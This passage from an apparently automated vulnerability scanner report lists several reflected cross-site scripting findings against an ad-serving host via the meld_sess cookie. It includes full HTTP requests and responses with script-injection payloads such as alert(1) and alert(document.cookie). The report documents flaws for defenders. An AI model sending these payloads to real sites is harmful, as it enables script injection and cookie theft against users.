X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDI0MzMwLCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICIxNjB4NjAwIiwgIGZyZXE6ICAgICAgICAgIjEtNSIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNmI3YWI2NTItMzVkNi00MzlhLWE5NDEtOWExNGE2ZTY5YTZkIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjczODYxIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+YzI4OWY4NjE2MzYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInRoZWNoaXZlX3VzIiwgIGRpdjogICAgICAgICAgIjZiN2FiNjUyLTM1ZDYtNDM5YS1hOTQxLTlhMTRhNmU2OWE2ZCIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJhZCIsICBpbXA6ICAgICAgICAgIDEsICBuZXR3b3JrX2lkOiAgIDQ5LCAgYWNjb3VudF9pZDogICA2MDU3OSwgIG5ldHdvcmtfbmFtZTogIkF1ZGllbmNlU2NpZW5jZSIsICBwdWJsaXNoZXJfbmFtZTogInJvYmVybWVkaWEiLCAgZWNwbTogICAgICAgICAiMC40MiIsICBmZWNwbTogICAgICAgICIwLjQyIiwgIGZpbGw6ICAgICAgICAgIjI4LjIwIiwgIHBsYWNlbWVudDogICAgInRoZWNoaXZlX3VzIiwgIHJ1bGU6ICAgICAgICAgInRoZWNoaXZlX3VzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0OTg3LCAiYnV5IjoxNzcsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk5MDQ0LCAiYnV5Ijo1MDIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk3MjAzLCAiYnV5IjoxMjQyLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNDkyNjA5LCAiYnV5Ijo1MjA4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNzEyODI1LCAiYnV5Ijo0MjUwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWczNCJ9
Content-Length: 2178
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:15 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:160px,height:600px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d555673861"><script>alert(1)</script>c289f861636&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

3.793. http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/300x250/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f06e4"><script>alert(1)</script>54a802a24f4 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045537261&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556f06e4"><script>alert(1)</script>54a802a24f4; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDI0MzI5LCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICIzMDB4MjUwIiwgIGZyZXE6ICAgICAgICAgIjEtNSIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiYmJlZjM3OTctYjZmOC00MzJhLWE2NDUtOTA1YjZhODJmNGRhIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NmYwNmU0Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+NTRhODAyYTI0ZjQiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInRoZWNoaXZlX3VzIiwgIGRpdjogICAgICAgICAgImJiZWYzNzk3LWI2ZjgtNDMyYS1hNjQ1LTkwNWI2YTgyZjRkYSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJhZCIsICBpbXA6ICAgICAgICAgIDEsICBuZXR3b3JrX2lkOiAgIDQ5LCAgYWNjb3VudF9pZDogICA2MDU3OSwgIG5ldHdvcmtfbmFtZTogIkF1ZGllbmNlU2NpZW5jZSIsICBwdWJsaXNoZXJfbmFtZTogInJvYmVybWVkaWEiLCAgZWNwbTogICAgICAgICAiMC40NSIsICBmZWNwbTogICAgICAgICIwLjQ1IiwgIGZpbGw6ICAgICAgICAgIjMzLjA0IiwgIHBsYWNlbWVudDogICAgInRoZWNoaXZlX3VzIiwgIHJ1bGU6ICAgICAgICAgInRoZWNoaXZlX3VzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6NjQwNzQsICJidXkiOjE3NiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTk0NzUsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlRyaWdnaXQgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTc0MzQsICJidXkiOjEyNDMsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE5MDEwOTAsICJidXkiOjUyMTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNzEzODE3LCAiYnV5Ijo0MjUxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc5In0=
Content-Length: 2178
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:15 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:300px,height:250px;margin:0;border:0">

...[SNIP]...
<img width="0" height="0" src="http://p.brilig.com/contact/bct?pid=21008FFD-5920-49E9-AC20-F85A35BDDE15&_ct=pixel&puid=6acccca4-d0e4-464e-a824-f67cb28d5556f06e4"><script>alert(1)</script>54a802a24f4&REDIR=http://tag.admeld.com/pixel?admeld_dataprovider_id=27&external_user_id=1&_m=1&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556f06e4">
...[SNIP]...

3.794. http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/300x250/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c53c9"><script>alert(1)</script>86110208a23 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045537261&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556c53c9"><script>alert(1)</script>86110208a23; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDI0MzI5LCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICIzMDB4MjUwIiwgIGZyZXE6ICAgICAgICAgIjEtNSIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiMmM3MjU4ZmUtYjYyMy00NjUyLWE3ZjAtMWE1MDhkZWMxZTQyIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NmM1M2M5Ij48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+ODYxMTAyMDhhMjMiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgInRoZWNoaXZlX3VzIiwgIGRpdjogICAgICAgICAgIjJjNzI1OGZlLWI2MjMtNDY1Mi1hN2YwLTFhNTA4ZGVjMWU0MiIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJhZCIsICBpbXA6ICAgICAgICAgIDEsICBuZXR3b3JrX2lkOiAgIDQ5LCAgYWNjb3VudF9pZDogICA2MDU3OSwgIG5ldHdvcmtfbmFtZTogIkF1ZGllbmNlU2NpZW5jZSIsICBwdWJsaXNoZXJfbmFtZTogInJvYmVybWVkaWEiLCAgZWNwbTogICAgICAgICAiMC40NSIsICBmZWNwbTogICAgICAgICIwLjQ1IiwgIGZpbGw6ICAgICAgICAgIjMzLjA0IiwgIHBsYWNlbWVudDogICAgInRoZWNoaXZlX3VzIiwgIHJ1bGU6ICAgICAgICAgInRoZWNoaXZlX3VzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6NjQwNzQsICJidXkiOjE3NiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTk0NzUsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk3NDM0LCAiYnV5IjoxMjQzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxOTAxMDkwLCAiYnV5Ijo1MjEwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNzEzODE3LCAiYnV5Ijo0MjUxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc5In0=
Content-Length: 2178
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:16 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:300px,height:250px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556c53c9"><script>alert(1)</script>86110208a23&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

3.795. http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/728x90/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daff0"><script>alert(1)</script>a35ba3c8ab5 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045539858&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556daff0"><script>alert(1)</script>a35ba3c8ab5; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDQ4ODUwLCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICI3Mjh4OTAiLCAgZnJlcTogICAgICAgICAiMS01IiwgIGRlZmF1bHRzOiAgICAgIjAtMCIsICByZXF1ZXN0OiAgICAgICJiNmNhZGExMS1iYzQ0LTQxOTMtODAwYS1hNzVhNWVmZWJlNGIiLCAgdXNlcjogICAgICAgICAiNmFjY2NjYTQtZDBlNC00NjRlLWE4MjQtZjY3Y2IyOGQ1NTU2ZGFmZjAiPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD5hMzViYTNjOGFiNSIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAidGhlY2hpdmVfdXMiLCAgZGl2OiAgICAgICAgICAiYjZjYWRhMTEtYmM0NC00MTkzLTgwMGEtYTc1YTVlZmViZTRiIiwgIHVybDogICAgICAgICAgImh0dHA6Ly90aGVjaGl2ZS5jb20vIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImFkIiwgIGltcDogICAgICAgICAgMSwgIG5ldHdvcmtfaWQ6ICAgNDksICBhY2NvdW50X2lkOiAgIDYwNTc5LCAgbmV0d29ya19uYW1lOiAiQXVkaWVuY2VTY2llbmNlIiwgIHB1Ymxpc2hlcl9uYW1lOiAicm9iZXJtZWRpYSIsICBlY3BtOiAgICAgICAgICIwLjM2IiwgIGZlY3BtOiAgICAgICAgIjAuMzYiLCAgZmlsbDogICAgICAgICAiMzIuODYiLCAgcGxhY2VtZW50OiAgICAidGhlY2hpdmVfdXMiLCAgcnVsZTogICAgICAgICAidGhlY2hpdmVfdXMiLCAgY3JlYXRpdmVfaWQ6ICAiIiwgIGJpZGRlcnM6ICAgICAgW3sibmV0d29ya19uYW1lIjoiTWF4UG9pbnQgSW50ZXJhY3RpdmUgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxODgyNDA2LCAiYnV5IjoxNzgsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6Mjk5OTA0LCAiYnV5Ijo1MDQsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzAwMjQ5LCAiYnV5IjoxMjQ0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkVxYWRzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTcxNTgwMiwgImJ1eSI6NDI1MiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMjAifQ==
Content-Length: 2171
Content-Type: text/html
Date: Mon, 07 Feb 2011 02:25:17 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0; padding:0">

<div style="width:728px,height:90px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556daff0"><script>alert(1)</script>a35ba3c8ab5&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

3.796. http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/185/thechive_sites/728x90/thechive_us

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 964fa"><script>alert(1)</script>c4db8ea63ba was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045539858&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&refer=http%3A%2F%2Fburp%2Fshow%2F20 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556964fa"><script>alert(1)</script>c4db8ea63ba; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTg1LCAgc2l0ZTogICAgICAgICAidGhlY2hpdmVfc2l0ZXMiLCAgYWQ6ICAgICAgICAgICAyMDQ4ODUwLCAgbmV0d29yazogICAgICAicmV2c2NpZW5jZSIsICBzaXplOiAgICAgICAgICI3Mjh4OTAiLCAgZnJlcTogICAgICAgICAiMS01IiwgIGRlZmF1bHRzOiAgICAgIjAtMCIsICByZXF1ZXN0OiAgICAgICI1ZWE2MGY1Ni0yODM2LTQyZDMtOWUxZi1jYTQ2MjNhMWE3ZWMiLCAgdXNlcjogICAgICAgICAiNmFjY2NjYTQtZDBlNC00NjRlLWE4MjQtZjY3Y2IyOGQ1NTU2OTY0ZmEiPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD5jNGRiOGVhNjNiYSIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAidGhlY2hpdmVfdXMiLCAgZGl2OiAgICAgICAgICAiNWVhNjBmNTYtMjgzNi00MmQzLTllMWYtY2E0NjIzYTFhN2VjIiwgIHVybDogICAgICAgICAgImh0dHA6Ly90aGVjaGl2ZS5jb20vIiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImFkIiwgIGltcDogICAgICAgICAgMSwgIG5ldHdvcmtfaWQ6ICAgNDksICBhY2NvdW50X2lkOiAgIDYwNTc5LCAgbmV0d29ya19uYW1lOiAiQXVkaWVuY2VTY2llbmNlIiwgIHB1Ymxpc2hlcl9uYW1lOiAicm9iZXJtZWRpYSIsICBlY3BtOiAgICAgICAgICIwLjM2IiwgIGZlY3BtOiAgICAgICAgIjAuMzYiLCAgZmlsbDogICAgICAgICAiMzIuODYiLCAgcGxhY2VtZW50OiAgICAidGhlY2hpdmVfdXMiLCAgcnVsZTogICAgICAgICAidGhlY2hpdmVfdXMiLCAgY3JlYXRpdmVfaWQ6ICAiIiwgIGJpZGRlcnM6ICAgICAgW3sibmV0d29ya19uYW1lIjoiTWF4UG9pbnQgSW50ZXJhY3RpdmUgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxODgyNDA